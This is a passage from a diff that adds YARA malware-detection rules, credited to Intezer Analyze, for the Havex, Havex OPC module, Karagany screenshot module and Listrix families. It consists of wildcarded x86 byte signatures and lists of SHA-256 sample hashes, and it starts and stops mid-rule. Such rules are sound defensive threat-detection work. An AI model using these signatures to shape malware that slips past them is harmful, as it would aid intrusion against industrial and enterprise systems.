+		$block_24 = { 6A ?? E8 ?? ?? ?? ?? CC 8B ?? ?? ?? 0F AF ?? ?? ?? 5? E8 ?? ?? ?? ?? 5? C3 }
+		$block_25 = { 8A ?? ?? 88 ?? ?? 8A ?? ?? 88 ?? ?? 8A ?? ?? 88 ?? ?? 8B ?? ?? 5? 5? C9 C3 }
+		$block_26 = { E8 ?? ?? ?? ?? 8B ?? ?? 2B ?? ?? 6A ?? 99 5? F7 ?? FF 7? ?? 3B ?? 0F 83 }
+		$block_27 = { 8D ?? ?? 5? 8B ?? E8 ?? ?? ?? ?? 0F B7 ?? 5? E8 ?? ?? ?? ?? 5? 84 ?? 74 }
+		$block_28 = { 80 B? ?? ?? ?? ?? ?? 8D ?? ?? 0F 94 ?? 0F B6 ?? 5? 5? E8 ?? ?? ?? ?? EB }
+		$block_29 = { 8D ?? ?? ?? ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 3B ?? 0F 84 }
+		$block_30 = { E8 ?? ?? ?? ?? 8B ?? 2B ?? ?? 6A ?? 99 5? F7 ?? FF 7? ?? 83 ?? ?? 0F 83 }
+		$block_31 = { 66 ?? ?? ?? 8B ?? ?? ?? ?? ?? 66 ?? ?? ?? 4? 83 ?? ?? 0F B7 ?? 0F 8C }
+		$block_32 = { 8B ?? ?? ?? ?? ?? 5? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_33 = { 5? FF 7? ?? 5? E8 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 84 }
+		$block_34 = { FF 8? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? C1 ?? ?? 39 ?? ?? 0F 85 }
+		$block_35 = { 5? FF B? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 3B ?? 0F 85 }
+		$block_36 = { 8B ?? ?? 8B ?? ?? 8D ?? ?? A5 A5 A5 6A ?? A5 0F B6 ?? ?? 5? 2B ?? 5? }
+		$block_37 = { 5? 8B ?? 83 ?? ?? 83 ?? ?? 8A ?? ?? 5? 5? 5? 89 ?? ?? ?? 84 ?? 0F 85 }
+		$block_38 = { 8A ?? 88 ?? 8A ?? ?? 88 ?? ?? 8A ?? ?? 88 ?? ?? 8B ?? ?? 5? 5? C9 C3 }
+		$block_39 = { 6A ?? 8B ?? E8 ?? ?? ?? ?? 0F B7 ?? 5? E8 ?? ?? ?? ?? 5? 84 ?? 74 }
+		$block_40 = { 2B ?? ?? 8B ?? C1 ?? ?? 89 ?? ?? 8B ?? ?? 89 ?? ?? 83 ?? ?? 0F 83 }
+		$block_41 = { 0F BE ?? ?? ?? FF 7? ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_42 = { 8B ?? ?? BE ?? ?? ?? ?? 5? 8D ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_43 = { 68 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 8A ?? ?? ?? ?? ?? 3C ?? 0F 84 }
+		$block_44 = { 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_45 = { 8B ?? ?? 4? 4? 83 ?? ?? 89 ?? ?? 8A ?? ?? 8A ?? ?? 3A ?? 0F 85 }
+		$block_46 = { 8A ?? ?? ?? ?? ?? 8D ?? ?? ?? 30 ?? 0F B6 ?? 4? 83 ?? ?? 72 }
+		$block_47 = { 0F B6 ?? ?? 33 ?? 8A ?? ?? ?? ?? ?? 30 ?? 0F B6 ?? 4? 4? 75 }
+		$block_48 = { 33 ?? 83 ?? ?? ?? 0F 95 ?? 4? 83 ?? ?? 83 ?? ?? 89 ?? ?? EB }
+		$block_49 = { 8B ?? ?? 0F B6 ?? ?? 8D ?? ?? ?? ?? ?? ?? FF 0? 4? 3B ?? 7C }
+		$block_50 = { 8B ?? ?? C1 ?? ?? ?? 83 ?? ?? 83 ?? ?? 89 ?? ?? 3B ?? 0F 84 }
+		$block_51 = { 8B ?? ?? 2B ?? ?? 6A ?? 99 5? F7 ?? FF 7? ?? 3B ?? 0F 83 }
+		$block_52 = { 6A ?? FF 1? ?? ?? ?? ?? 8B ?? ?? ?? 8A ?? ?? 84 ?? 0F 84 }
+		$block_53 = { 8B ?? E8 ?? ?? ?? ?? 0F B7 ?? 0F B7 ?? 83 ?? ?? 3B ?? 7F }
+		$block_54 = { 8A ?? ?? 88 ?? ?? 8A ?? ?? 88 ?? ?? 8B ?? ?? 5? 5? C9 C3 }
+		$block_55 = { 8B ?? 2B ?? ?? 6A ?? 99 5? F7 ?? FF 7? ?? 83 ?? ?? 0F 83 }
+		$block_56 = { BE ?? ?? ?? ?? 5? 8D ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_57 = { 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 0F 94 ?? 5? 5? 3C ?? 74 }
+		$block_58 = { 8B ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 5? FF D? 85 ?? 0F 84 }
+		$block_59 = { FF 7? ?? 6A ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_60 = { 8B ?? ?? 2B ?? ?? 6A ?? 99 5? F7 ?? 39 ?? ?? 0F 83 }
+		$block_61 = { 0F B6 ?? 8B ?? ?? ?? ?? ?? C1 ?? ?? 4? 83 ?? ?? 7C }
+		$block_62 = { 8B ?? ?? 5? 33 ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? C9 C3 }
+		$block_63 = { 8A ?? 88 ?? 8A ?? ?? 88 ?? ?? 8B ?? ?? 5? 5? C9 C3 }
+		$block_64 = { 5? 8B ?? 83 ?? ?? 5? 5? 8B ?? 8B ?? 3B ?? 0F 84 }
+		$block_65 = { 8D ?? ?? 5? FF 1? ?? ?? ?? ?? 8B ?? 3B ?? 0F 84 }
+		$block_66 = { 6A ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 5? 5? C9 C3 }
+
+	condition:
+		hash.sha256(0, filesize) == "2221c2323fb6e30b9c10ee68d60b7d7be823911540bb115f75b2747d015e35f9" or
+		hash.sha256(0, filesize) == "358da2c5bb5fbd9c9cf791536054bbb387ce37253c31555f5afa544f38de2a3f" or
+		hash.sha256(0, filesize) == "61969cd978cd2de3a13a10510d0dea5d0d3b212209804563ed3d42033a9d0f54" or
+		hash.sha256(0, filesize) == "224e8349ba128f0ab57bdebef5287f4b84b9dccbc2d8503f53f6333efd5f9265" or
+		hash.sha256(0, filesize) == "778568b44e13751800bf66c17606dfdfe35bebbb94c8e6e2a2549c7482c33f7a" or
+		hash.sha256(0, filesize) == "ce99e5f64f2d1e58454f23b4c1de33d71ee0b9fcd52c9eb69569f1c420332235" or
+		hash.sha256(0, filesize) == "4f3ceab96fb55d0b05380a1d95bb494ca44d7a9d7f10ded02d5b6fc27c92cb05" or
+		hash.sha256(0, filesize) == "85d3f636b515f0729c47f66e3fc0c9a0aacf3ec09c4acf8bf20a1411edcdc40a" or
+		hash.sha256(0, filesize) == "cb58396d40e69d5c831f46aed93231ed0b7d41fee95f8da7c594c9dbd06ee111" or
+		hash.sha256(0, filesize) == "2f24c7ccbd7a9e830ed3f9b3b7be7856e0cc8c1580082433cbe9bf33c86193c6" or
+		hash.sha256(0, filesize) == "d5687b5c5cec11c851e84a1d40af3ef52607575487a70224f63458c24481076c" or
+		hash.sha256(0, filesize) == "ec48b131612ef5637b387d9c2b0907d68a080fb77c6168e779fb7f3a0efa04dc" or
+		hash.sha256(0, filesize) == "4cf75059f2655ca95b4eba11f1ce952d8e08bb4dbcb12905f6f37cf8145a538d" or
+		hash.sha256(0, filesize) == "e3a7fa8636d040c9c3a8c928137d24daa15fc6982c002c5dd8f1c552f11cbcad" or
+		hash.sha256(0, filesize) == "7c1136d6f5b10c22698f7e049dbc493be6e0ce03316a86c422ca9b670cb133aa" or
+		hash.sha256(0, filesize) == "b139829440aabe33071aa34604f739d70f9a0a3b06051f3190aabf839df2d408" or
+		hash.sha256(0, filesize) == "c43ce82560cea125f65c7701c733c61ae3faa782c8b00efcb44fd7dbd32a5c4b" or
+		hash.sha256(0, filesize) == "43608e60883304c1ea389c7bad244b86ff5ecf169c3b5bca517a6e7125325c7b" or
+		hash.sha256(0, filesize) == "6b2a438e0233fe8e7ba8774e2e5c59bf0b7c12679d52d6783a0010ecad11978c" or
+		hash.sha256(0, filesize) == "6e92c2d298e25bcff17326f69882b636150d2a1af494ef8186565544f0d04d3d" or
+		hash.sha256(0, filesize) == "0c20ffcdf2492ccad2e53777a0885c579811f91c05d076ff160684082681fe68" or
+		hash.sha256(0, filesize) == "269ea4b883de65f235a04441144519cf6cac80ef666eccf073eedd5f9319be0f" or
+		hash.sha256(0, filesize) == "0e34262813677090938983039ba9ff3ade0748a3aba25e28d19e2831c036b095" or
+		hash.sha256(0, filesize) == "ee53e509d0f2a3c888232f2232b603463b421b9c08fe7f44ed4eead0643135d3" or
+		hash.sha256(0, filesize) == "a3a6f0dc5558eb93afa98434020a8642f7b29c41d35fa34809d6801d99d8c4f3" or
+		hash.sha256(0, filesize) == "2efd5355651db8e07613e74b1bf85b50273c1f3bce5e4edbedea0ccdff023754" or
+		hash.sha256(0, filesize) == "9517a412633b8ebeac875a2da7fe119b72efad62859dc1719b84d561792a9033" or
+		hash.sha256(0, filesize) == "94d4e4a8f2d53426154c41120b4f3cf8105328c0cc5d4bd9126a54c14b296093" or
+		hash.sha256(0, filesize) == "0c9b20f4cb0b3206f81c2afbb2ee4d995c28f74f38216f7d35454af624af8876" or
+		hash.sha256(0, filesize) == "abdb2da30435430f808b229f8b6856fafc154a386ef4f7c5e8de4a746e350e0c" or
+		hash.sha256(0, filesize) == "8d343be0ea83597f041f9cbc6ea5b63773affc267c6ad99d31badee16d2c86e5" or
+		hash.sha256(0, filesize) == "f1d6e8b07ac486469e09c876c3e267db2b2d651299c87557cbf4eafb861cf79c" or
+		hash.sha256(0, filesize) == "101e70a5455212b40406fe70361995a3a346264eabd4029200356565d2bacd6a" or
+		hash.sha256(0, filesize) == "c25c1455dcab2f17fd6a25f8af2f09ca31c8d3773de1cb2a55acd7aeaa6963c8" or
+		hash.sha256(0, filesize) == "0ea750a8545252b73f08fe87db08376f789fe7e58a69f5017afa2806046380a5" or
+		hash.sha256(0, filesize) == "b3b01b36b6437c624da4b28c4c8f773ae8133fca9dd10dc17742e956117f5759" or
+		hash.sha256(0, filesize) == "698ec413986dc7fc761b1a17624ffffb1590902020b9d0cd5d9a6013c67d9100" or
+		hash.sha256(0, filesize) == "02e5191078497be1e6ea8bac93b6cfb9b3ee36a58e4f7dd343ac1762e7f9301e" or
+		hash.sha256(0, filesize) == "f6aab09e1c52925fe599246dfdb4c1d06bea5c380c4c3e9c33661c869d41a23a" or
+		hash.sha256(0, filesize) == "439e5617d57360f76f24daed3fe0b59f20fc9dade3008fd482260ba58b739a23" or
+		hash.sha256(0, filesize) == "4ff5f102f0f1284a189485fc4c387c977dd92f0bc6a30c4d837e864aed257129" or
+		hash.sha256(0, filesize) == "e38aa99eff1f9fedd99cf541c3255e99f3276839a883cadb6e916649522729e3" or
+		hash.sha256(0, filesize) == "c987f8433c663c9e8600a7016cdf63cd14590a019118c52238c24c39c9ec02ad" or
+		hash.sha256(0, filesize) == "066346170856972f6769705bc6ff4ad21e88d2658b4cacea6f94564f1856ed18" or
+		hash.sha256(0, filesize) == "b647f883911ff20f776e0a42564b13ef961fa584ebd5cfce9dd2990bca5df24e" or
+		hash.sha256(0, filesize) == "5a13d0c954280b4c65af409376de86ac43eb966f25b85973a20d330a34cdd9a6" or
+		hash.sha256(0, filesize) == "4b547b3992838cfb3b61cb25f059c0b56c2f7caaa3b894dbc20bf7b33dadc5a1" or
+		hash.sha256(0, filesize) == "2dc296eb532097ac1808df7a16f7740ef8771afda3ac339d144d710f9cefceb4" or
+		hash.sha256(0, filesize) == "bb3529aa5312abbee0cfbd00f10c3f2786f452a2ca807f0acbd336602a13ac79" or
+		hash.sha256(0, filesize) == "dc612882987fab581155466810f87fd8f0f2da5c61ad8fc618cef903c9650fcd" or
+		hash.sha256(0, filesize) == "b0faba6156c7b0cd59b94eeded37d8c1041d4b8dfa6aacd6520a6d28c3f02a5e" or
+		hash.sha256(0, filesize) == "a2fe7a346b39a062c60c50167be7dd4f6a8175df054faa67bff33ec42b1072d9" or
+		hash.sha256(0, filesize) == "bcdcb4b5e9aaaee2c46d5b0ed16aca629de9faa5e787c672191e0bdf64619a95" or
+		hash.sha256(0, filesize) == "9d530e2254580842574a740698d2348b68b46fd88312c9325321ad0d986f523d" or
+		hash.sha256(0, filesize) == "aef82593822a934b77b81ebc461c496c4610474727539b0b6e1499ca836f0dee" or
+		hash.sha256(0, filesize) == "e42badd8fb20f1bc72b1cec65c42a96ee60a4b52d19e8f5a7248afee03646ace" or
+		hash.sha256(0, filesize) == "edb7caa3dce3543d65f29e047ea789a9e429e46bed5c29c4748e656285a08050" or
+		hash.sha256(0, filesize) == "6296d95b49d795fa10ae6e9c4e4272ea4e1444105bddbf45b34ee067b2603b38" or
+		hash.sha256(0, filesize) == "13da3fe28302a8543dd527d9e09723caeed98006c3064c5ed7b059d6d7f36554" or
+		hash.sha256(0, filesize) == "d3ee530abe41705a819ee9220aebb3ba01531e16df7cded050ba2cf051940e46" or
+		hash.sha256(0, filesize) == "2f593c22a8fd0de3bbb57d26320446a9c7eed755ae354957c260908c93d8cf79" or
+		hash.sha256(0, filesize) == "da3c1a7b63a6a7cce0c9ef01cf95fd4a53ba913bab88a085c6b4b8e4ed40d916" or
+		hash.sha256(0, filesize) == "170596e88b26f04d349f6014d17a88026ec55eab44888e2a9bb4dd90a79f6878" or
+		hash.sha256(0, filesize) == "d71da8a59f3e474c3bcd3f2f00fae0b235c4e01cd9f465180dd0ab19d6af5526" or
+		hash.sha256(0, filesize) == "ecb097f3367f0155887dde9f891ff823ff54ddfe5217cdbb391ea5b10c5a08dc" or
+		hash.sha256(0, filesize) == "59af70f71cdf933f117ab97d6f1c1bab82fd15dbe654ba1b27212d7bc20cec8c" or
+		hash.sha256(0, filesize) == "f65d767afd198039d044b17b96ebad54390549c6e18ead7e19e342d60b70a2c3" or
+		hash.sha256(0, filesize) == "d588e789f0b5914bd6f127950c5daf6519c78b527b0ed7b323e42b0613f6566f" or
+		hash.sha256(0, filesize) == "69b555a37e919c3e6c24cfe183952cdb695255f9458b25d00d15e204d96c737b" or
+		hash.sha256(0, filesize) == "022da314d1439f779364aba958d51b119ac5fda07aac8f5ced77146dbf40c8ac" or
+		hash.sha256(0, filesize) == "8e222cb1a831c407a3f6c7863f3faa6358b424e70a041c196e91fb7989735b68" or
+		hash.sha256(0, filesize) == "31db22caf480c471205a7608545370c1b3c0c9be5285a9ef2264e856052b66b4" or
+		hash.sha256(0, filesize) == "0850c39a7fcaa7091aaea333d33c71902b263935df5321edcd5089d10e4bbebb" or
+		hash.sha256(0, filesize) == "b8514bff04e8f4e77430202db61ec5c206d3ec0f087a65ee72c9bb94a058b685" or
+		hash.sha256(0, filesize) == "2c37e0504b98413e0308e44fd84f98e968f6f62399ea06bc38d3f314ee94b368" or
+		hash.sha256(0, filesize) == "56a1513bcf959d5df3ff01476ddb4b158ce533658ab7d8dd439324b16f193ac2" or
+		hash.sha256(0, filesize) == "aafbf4bba99c47e7d05c951ad964ce09493db091ba5945e89df916c6fa95d101" or
+		hash.sha256(0, filesize) == "8da93bc4d20e5f38d599ac89db26fc2f1eecbf36c14209302978d46fc4ce5412" or
+		hash.sha256(0, filesize) == "c66525285707daff30fce5d79eb1bdf30519586dfec4edf73e4a0845fd3d0e1c" or
+		hash.sha256(0, filesize) == "49c1c5e8a71f488a7b560c6751752363389f6272d8c310fee78307dc9dcd3ee2" or
+		hash.sha256(0, filesize) == "6122db2cdac0373cc8513c57786088a5548721d01e7674e78082774044e92980" or
+		hash.sha256(0, filesize) == "bee9f2a01e0049d4cf94016284b16849136233366d1509489797084672e5448f" or
+		hash.sha256(0, filesize) == "684ea2083f2f7099f0a611c81f26f30127ad297fcac8988cabb60fcf56979dfc" or
+		hash.sha256(0, filesize) == "92c959c36617445a35e6f4f2ee2733861aa1b3baf8728d19a4fd5176f3c80401" or
+		hash.sha256(0, filesize) == "593849098bd288b7bed9646e877fa0448dcb25ef5b4482291fdf7123de867911" or
+		hash.sha256(0, filesize) == "66ec58b4bdcb30d1889972c1ee30af7ff213deece335f798e57ff51fe28752e3" or
+		hash.sha256(0, filesize) == "b8f2fdddf7a9d0b813931e0efe4e6473199688320d5e8289928fe87ce4b1d068" or
+		hash.sha256(0, filesize) == "d755904743d48c31bdff791bfa440e79cfe1c3fc9458eb708cf8bb78f117dd07" or
+		hash.sha256(0, filesize) == "98bd5e8353bc9b70f8a52786365bcdb28bd3aef164d62c38dae8df33e04ac11a" or
+		hash.sha256(0, filesize) == "6606dd9a5d5182280c12d009a03b8ed6179872fcb08be9aa16f098250cc5b7a7" or
+		hash.sha256(0, filesize) == "bacac71fcc61db9b55234d1ccf45d5fffd9392c430cdd25ee7a5cea4b24c7128" or
+		hash.sha256(0, filesize) == "e73f8b394e51348ef3b6cea7c5e5ecc2ee06bb395c5ac30f6babb091080c1e74" or
+		hash.sha256(0, filesize) == "83e57d8f3810a72a772742d4b786204471a7607e02fa445c3cd083f164cc4af3" or
+		hash.sha256(0, filesize) == "60f86898506f0fdf6d997f31deff5b6200a6969b457511cc00446bd22dd1f0a4" or
+		hash.sha256(0, filesize) == "1d768ebfbdf97ad5282e7f85da089e174b1db760f1cbdca1a815e8e6245f155a" or
+		hash.sha256(0, filesize) == "fd689fcdcef0f1198b9c778b4d93adfbf6e80118733c94e61a450aeb701750b4" or
+		hash.sha256(0, filesize) == "7081455301e756d6459ea7f03cd55f7e490622d36a5a019861e6b17141f69bd0" or
+		hash.sha256(0, filesize) == "e029db63346c513be42242e268559174f6b00d818e00d93c14bd443314f65fe5" or
+		hash.sha256(0, filesize) == "6e5f4296bffa7128b6e8fa72ad1924d2ff19b9d64775bd1e0a9ce9c5944bd419" or
+		hash.sha256(0, filesize) == "d89a80a3fbb0a4a40157c6752bd978bc113b0c413e3f73eb922d4e424edeb8a7" or
+		hash.sha256(0, filesize) == "487eaf5cc52528b5f3bb27ba53afffb6d534068b364a41fc887b8c1e1485795a" or
+		hash.sha256(0, filesize) == "24be375f0e11d88210e53f15cc08d72ab6c6287676c3fe3c6f70b513e5f442ed" or
+		hash.sha256(0, filesize) == "fb30c3bb1b25b3d4cca975f2e0c45b95f3eb57a765267271a9689dd526658b43" or
+		hash.sha256(0, filesize) == "65a4332dfe474a8bb9b5fa35495aade453da7a03eb0049211e57b5660d08d75c" or
+		hash.sha256(0, filesize) == "59c4cba96dbab5d8aa7779eac18b67b2e6f8b03066eb092415d50dff55e43b72" or
+		hash.sha256(0, filesize) == "6367cb0663c2898aff64440176b409c1389ca7834e752b350a87748bef3a878b" or
+		hash.sha256(0, filesize) == "0a0a5b68a8a7e4ed4b6d6881f57c6a9ac55b1a50097588e462fe8d3c486158bf" or
+		hash.sha256(0, filesize) == "ebb16c9536e6387e7f6988448a3142d17ab695b2894624f33bd591ceb3e46633" or
+		hash.sha256(0, filesize) == "3a88ff66f4eb675f0c3e6c5f947c012945c4e15b77a2cd195de8a8aba23ccb29" or
+		hash.sha256(0, filesize) == "0f4046be5de15727e8ac786e54ad7230807d26ef86c3e8c0e997ea76ab3de255" or
+		hash.sha256(0, filesize) == "646c94a0194ca70fbe68c444a0c9b444e195280f9a0d19f12393421311653552" or
+		hash.sha256(0, filesize) == "a05b53260c2855829226dffd814022b7ff4750d278d6c46f2e8e0dc58a36a1f9" or
+		hash.sha256(0, filesize) == "837e68be35c2f0ab9e2b3137d6f9f7d16cc387f3062a21dd98f436a4bcceb327" or
+		hash.sha256(0, filesize) == "7e0dafedd01d09e66524f2345d652b29d3f634361c0a69e8d466dcbdfd0e3001" or
+		hash.sha256(0, filesize) == "45abd87da6a584ab2a66a06b40d3c84650f2a33f5f55c5c2630263bc17ec4139" or
+		hash.sha256(0, filesize) == "cd019e717779e2d2b1f4c27f75e940b5f98d4ebb48de604a6cf2ab911220ae50" or
+		hash.sha256(0, filesize) == "2c109406998723885cf04c3ced7af8010665236459d6fe610e678065994154d4" or
+		hash.sha256(0, filesize) == "170e5eb004357dfce6b41de8637e1dbeb87fa58e8b54a2031aac33afb930f3c8" or
+		hash.sha256(0, filesize) == "72ff91b3f36ccf07e3daf6709db441d2328cecab366fd5ff81fc70dd9eb45db8" or
+		hash.sha256(0, filesize) == "c4e2e341689799281eaef47de75f59edceaba281398b41fe7616436f247ab93d" or
+		hash.sha256(0, filesize) == "1ef47da67f783f8cc8cda7481769647b754874c91e0c666f741611decd878c19" or
+		12 of them
+}
+
+rule HavexModuleOPC {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 8B ?? ?? 03 ?? 0F AF ?? 8D ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? ?? 72 }
+		$block_1 = { 8B ?? ?? 33 ?? 66 ?? ?? ?? 8B ?? ?? 0F B6 ?? ?? C1 ?? ?? C1 ?? ?? 0B ?? FF 0? ?? 4? 79 }
+		$block_2 = { 8D ?? ?? 5? 89 ?? ?? 8B ?? ?? 6A ?? E8 ?? ?? ?? ?? 83 ?? ?? ?? 89 ?? ?? 3B ?? 0F 85 }
+		$block_3 = { 89 ?? ?? ?? ?? ?? 8B ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? ?? FF 4? ?? 0F 85 }
+		$block_4 = { 8B ?? ?? 33 ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? ?? ?? ?? 38 ?? ?? 0F 84 }
+		$block_5 = { 8B ?? ?? ?? ?? ?? 5? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_6 = { 66 ?? ?? ?? 8B ?? ?? ?? ?? ?? 66 ?? ?? ?? 4? 83 ?? ?? 0F B7 ?? 0F 8C }
+		$block_7 = { 5? 8B ?? 83 ?? ?? 5? 5? 33 ?? 8D ?? ?? AB AB AB AB 83 ?? ?? ?? C7 }
+		$block_8 = { 8D ?? ?? 5? FF 1? ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 84 ?? 0F 84 }
+		$block_9 = { 0F B7 ?? 8B ?? C1 ?? ?? 0B ?? D1 ?? 8D ?? ?? F3 ?? 13 ?? 66 }
+		$block_10 = { 33 ?? 83 ?? ?? ?? 0F 95 ?? 4? 83 ?? ?? 83 ?? ?? 89 ?? ?? EB }
+		$block_11 = { 83 ?? ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? A5 A5 A5 A5 5? 5? 74 }
+		$block_12 = { 8D ?? ?? 8B ?? E8 ?? ?? ?? ?? 83 ?? ?? FF 4? ?? 0F 85 }
+		$block_13 = { 5? 8B ?? 83 ?? ?? 5? 8B ?? ?? 5? 8B ?? 85 ?? 0F 84 }
+		$block_14 = { 0F B6 ?? 8B ?? ?? ?? ?? ?? C1 ?? ?? 4? 83 ?? ?? 7C }
+		$block_15 = { 8B ?? ?? 8B ?? ?? 33 ?? 5? E8 ?? ?? ?? ?? C9 C3 }
+
+	condition:
+		hash.sha256(0, filesize) == "004c99be0c355e1265b783aae557c198bcc92ee84ed49df70db927a726c842f3" or
+		hash.sha256(0, filesize) == "7933809aecb1a9d2110a6fd8a18009f2d9c58b3c7dbda770251096d4fcc18849" or
+		hash.sha256(0, filesize) == "6aca45bb78452cd78386b8fa78dbdf2dda7fba6cc06482251e2a6820849c9e82" or
+		12 of them
+}
+
+rule KaraganyModuleScreenshot {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 5? 8B ?? 81 E? ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 ?? 89 ?? ?? 5? 5? 5? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 6A ?? 5? C6 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 68 ?? ?? ?? ?? BB ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? BE ?? ?? ?? ?? 8D ?? ?? A5 A5 A5 A5 A4 BE ?? ?? ?? ?? 8D ?? ?? A5 A5 8D ?? ?? A4 8B ?? ?? ?? ?? ?? 5? FF D? 5? 8D ?? ?? 6A ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 83 ?? ?? 8D ?? ?? 5? 5? FF D? 6A ?? 5? FF 1? ?? ?? ?? ?? 8D ?? ?? 5? FF D? 5? 8D ?? ?? 6A ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8D ?? ?? 5? 5? FF D? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 6A ?? FF 1? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 5? 5? 85 ?? 75 }
+		$block_1 = { 5? 8B ?? 81 E? ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 ?? 89 ?? ?? 5? 5? BE ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? 33 ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_2 = { 8D ?? ?? ?? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 5? 5? 85 ?? 0F 84 }
+		$block_3 = { 5? 8D ?? ?? ?? ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_4 = { 8D ?? ?? ?? 5? FF 7? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+
+	condition:
+		hash.sha256(0, filesize) == "05fb04474a3785995508101eca7affd8c89c658f7f9555de6d6d4db40583ac53" or
+		5 of them
+}
+
+rule Listrix {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 5? 8B ?? 83 ?? ?? 81 E? ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 ?? 89 ?? ?? ?? ?? ?? ?? 5? 8B ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? FF D? 68 ?? ?? ?? ?? FF D? 68 ?? ?? ?? ?? FF D? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 68 ?? ?? ?? ?? FF D? 68 ?? ?? ?? ?? FF D? E8 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? C1 ?? ?? 89 ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_1 = { 0F B7 ?? ?? ?? ?? ?? 0F B7 ?? ?? ?? ?? ?? 0F B7 ?? ?? ?? ?? ?? 5? 0F B7 ?? ?? ?? ?? ?? 5? 0F B7 ?? ?? ?? ?? ?? 5? 8B ?? ?? ?? ?? ?? 5? 5? 5? 8D ?? ?? ?? ?? ?? 5? 5? 8D ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 83 ?? ?? 8D ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B ?? FF 1? ?? ?? ?? ?? 8B ?? 83 ?? ?? 74 }
+		$block_2 = { 0F B7 ?? ?? ?? ?? ?? 0F B7 ?? ?? ?? ?? ?? 0F B7 ?? ?? ?? ?? ?? 5? 0F B7 ?? ?? ?? ?? ?? 5? 0F B7 ?? ?? ?? ?? ?? 5? 5? 5? 8D ?? ?? ?? ?? ?? 5? 5? 8D ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 83 ?? ?? 8D ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B ?? FF 1? ?? ?? ?? ?? 8B ?? 83 ?? ?? 0F 84 }
+		$block_3 = { 5? 8B ?? 81 E? ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 ?? 89 ?? ?? 33 ?? 68 ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? 66 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 ?? 68 ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? 66 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 8D ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_4 = { 5? 8B ?? 81 E? ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 ?? 89 ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 6A ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_5 = { 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? A3 ?? ?? ?? ?? 83 ?? ?? 0F 84 }
